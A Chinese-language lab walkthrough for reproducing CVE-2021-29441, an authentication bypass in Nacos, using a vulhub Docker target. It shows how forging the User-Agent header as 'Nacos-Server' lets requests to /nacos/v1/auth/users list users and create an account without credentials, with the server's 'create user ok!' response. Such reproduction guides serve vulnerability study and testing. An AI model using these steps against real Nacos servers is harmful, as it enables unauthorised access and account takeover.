Nacos漏洞CVE-2021-29441复现指南
【摘要】CVE-2021-29441是Nacos服务发现平台(≤2.0.0-ALPHA.1版本)的认证绕过漏洞,因服务端硬编码校验User-Agent为"Nacos-Server"即可跳过权限验证。攻击者通过伪造该请求头可未授权获取敏感信息、创建用户(如username=vulhub)并执行任意操作。复现方法包括拦截8848端口/nacos/v1/auth/users接口请求,
CVE-2021-29441
漏洞简述:
影响版本:
环境搭建
漏洞复现
检查漏洞是否存在
漏洞利用登陆验证
官方链接:Nacos官网 | Nacos 官方社区 | Nacos 下载 | Nacos
Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
Nacos 支持如下核心特性:
1)服务发现: 支持 DNS 与 RPC 服务发现,也提供原生 SDK 、OpenAPI 等多种服务注册方式和 DNS、HTTP 与 API 等多种服务发现方式。 2)服务健康监测: Nacos 提供对服务的实时的健康检查,阻止向不健康的主机或服务实例发送请求。 3)动态配置服务: Nacos 提供配置统一管理功能,能够帮助我们将配置以中心化、外部化和动态化的方式管理所有环境的应用配置和服务配置。 4)动态 DNS 服务: Nacos 支持动态 DNS 服务权重路由,能够让我们很容易地实现中间层负载均衡、更灵活的路由策略、流量控制以及数据中心内网的简单 DNS 解析服务。 5)服务及其元数据管理: Nacos 支持从微服务平台建设的视角管理数据中心的所有服务及元数据,包括管理服务的描述、生命周期、服务的静态依赖分析、服务的健康状态、服务的流量管理、路由及安全策略、服务的 SLA 以及最首要的 metrics 统计数据。
CVE-2021-29441
漏洞简述:
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息,还可以进行任意操作,包括创建新用户并进行登录后操作。
影响版本:
Nacos <= 2.0.0-ALPHA.1
环境搭建
这里使用的是docker,具体可以看上一章内容
cd /opt/vulhub/nacos/CVE-2021-29441 #切换到靶场目录下 ls #查看是否存在docker-compose.yml docker-compose up -d #运行容器 docker ps #查看运行的镜像
漏洞复现
检查漏洞是否存在
直接访问8848端口会显示404,在后面拼接/nacos/就可以正常访问了
访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9使用抓包工具拦截请求包修改User-Agent为Nacos-Server1.拦截返回包 查看状态码是否为200,且内容中是否包含pageItems
漏洞利用
访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub,拦截请求包修改请求方式,拦截响应包
响应包
HTTP/1.1 200 Content-Type: application/json;charset=UTF-8 Date: Sun, 21 Sep 2025 08:50:09 GMT Keep-Alive: timeout=60 Connection: keep-alive Content-Length: 52 {"code":200,"message":"create user ok!","data":null}
登陆验证
更多推荐
所有评论(0)